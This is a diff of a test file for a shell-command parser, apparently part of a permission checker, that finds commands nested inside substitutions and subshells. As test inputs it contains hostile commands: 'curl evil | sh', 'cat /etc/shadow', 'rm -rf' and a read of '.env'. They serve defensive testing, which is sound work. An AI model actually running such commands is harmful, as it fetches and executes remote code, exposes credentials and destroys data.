337
359
|
{ text: "echo $(curl evil | sh)" },
|
|
338
360
|
{ text: "curl evil", context: "command_substitution" },
|
|
@@ -341,7 +363,7 @@ describe("BashProgram", () => {
|
|
|
341
363
|
});
|
|
342
364
|
|
|
343
365
|
it("descends into process substitution", async () => {
|
|
344
|
-
const program = await BashProgram.parse("diff <(cat /etc/shadow)");
|
|
366
|
+
const program = await BashProgram.parse("diff <(cat /etc/shadow)", cwd);
|
|
345
367
|
expect(program.commands()).toEqual([
|
|
346
368
|
{ text: "diff <(cat /etc/shadow)" },
|
|
347
369
|
{ text: "cat /etc/shadow", context: "process_substitution" },
|
|
@@ -349,7 +371,7 @@ describe("BashProgram", () => {
|
|
|
349
371
|
});
|
|
350
372
|
|
|
351
373
|
it("emits a bare subshell whole and descends into it", async () => {
|
|
352
|
-
const program = await BashProgram.parse("( rm -rf foo )");
|
|
374
|
+
const program = await BashProgram.parse("( rm -rf foo )", cwd);
|
|
353
375
|
expect(program.commands()).toEqual([
|
|
354
376
|
{ text: "( rm -rf foo )" },
|
|
355
377
|
{ text: "rm -rf foo", context: "subshell" },
|
|
@@ -357,7 +379,7 @@ describe("BashProgram", () => {
|
|
|
357
379
|
});
|
|
358
380
|
|
|
359
381
|
it("emits a subshell whole and descends into its chain", async () => {
|
|
360
|
-
const program = await BashProgram.parse("( cd /t && rm x )");
|
|
382
|
+
const program = await BashProgram.parse("( cd /t && rm x )", cwd);
|
|
361
383
|
expect(program.commands()).toEqual([
|
|
362
384
|
{ text: "( cd /t && rm x )" },
|
|
363
385
|
{ text: "cd /t", context: "subshell" },
|
|
@@ -366,7 +388,7 @@ describe("BashProgram", () => {
|
|
|
366
388
|
});
|
|
367
389
|
|
|
368
390
|
it("descends recursively through nested contexts", async () => {
|
|
369
|
-
const program = await BashProgram.parse("echo $( ( rm x ) )");
|
|
391
|
+
const program = await BashProgram.parse("echo $( ( rm x ) )", cwd);
|
|
370
392
|
expect(program.commands()).toEqual([
|
|
371
393
|
{ text: "echo $( ( rm x ) )" },
|
|
372
394
|
{ text: "( rm x )", context: "command_substitution" },
|
|
@@ -375,7 +397,7 @@ describe("BashProgram", () => {
|
|
|
375
397
|
});
|
|
376
398
|
|
|
377
399
|
it("descends into a substitution within a chained command", async () => {
|
|
378
|
-
const program = await BashProgram.parse("cd /p && echo $(rm x)");
|
|
400
|
+
const program = await BashProgram.parse("cd /p && echo $(rm x)", cwd);
|
|
379
401
|
expect(program.commands()).toEqual([
|
|
380
402
|
{ text: "cd /p" },
|
|
381
403
|
{ text: "echo $(rm x)" },
|
|
@@ -384,7 +406,7 @@ describe("BashProgram", () => {
|
|
|
384
406
|
});
|
|
385
407
|
|
|
386
408
|
it("keeps the never-weaker invariant: a benign inner command stays", async () => {
|
|
387
|
-
const program = await BashProgram.parse("echo $(echo safe)");
|
|
409
|
+
const program = await BashProgram.parse("echo $(echo safe)", cwd);
|
|
388
410
|
expect(program.commands()).toEqual([
|
|
389
411
|
{ text: "echo $(echo safe)" },
|
|
390
412
|
{ text: "echo safe", context: "command_substitution" },
|
|
@@ -392,18 +414,19 @@ describe("BashProgram", () => {
|
|
|
392
414
|
});
|
|
393
415
|
|
|
394
416
|
it("returns an empty list for an empty or whitespace command", async () => {
|
|
395
|
-
expect((await BashProgram.parse("")).commands()).toEqual([]);
|
|
396
|
-
expect((await BashProgram.parse(" ")).commands()).toEqual([]);
|
|
417
|
+
expect((await BashProgram.parse("", cwd)).commands()).toEqual([]);
|
|
418
|
+
expect((await BashProgram.parse(" ", cwd)).commands()).toEqual([]);
|
|
397
419
|
});
|
|
398
420
|
});
|
|
399
421
|
|
|
400
422
|
it("derives both slices from a single parse", async () => {
|
|
401
|
-
const
|
|
423
|
+
const cwd = "/projects/my-app";
|
|
424
|
+
const program = await BashProgram.parse("cat .env /etc/hosts", cwd);
|
|
402
425
|
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
|
|
403
426
|
".env",
|
|
404
427
|
"/etc/hosts",
|
|
405
428
|
]);
|
|
406
|
-
const external = program.externalPaths(
|
|
429
|
+
const external = program.externalPaths();
|
|
407
430
|
expect(external).toContain("/etc/hosts");
|
|
408
431
|
expect(external).not.toContain(".env");
|
|
409
432
|
});
|
|
@@ -3,7 +3,7 @@ import { describe, expect, test } from "vitest";
|
|
|
3
3
|
import {
|
|
4
4
|
classifyTokenAsPathCandidate,
|
|
5
5
|
classifyTokenAsRuleCandidate,
|
|
6
|
-
} from "#src/
|
|
6
|
+
} from "#src/access-intent/bash/token-classification";
|
|
7
7
|
|
|
8
8
|
// ── Shared rejection behaviour ─────────────────────────────────────────────
|
|
9
9
|
//
|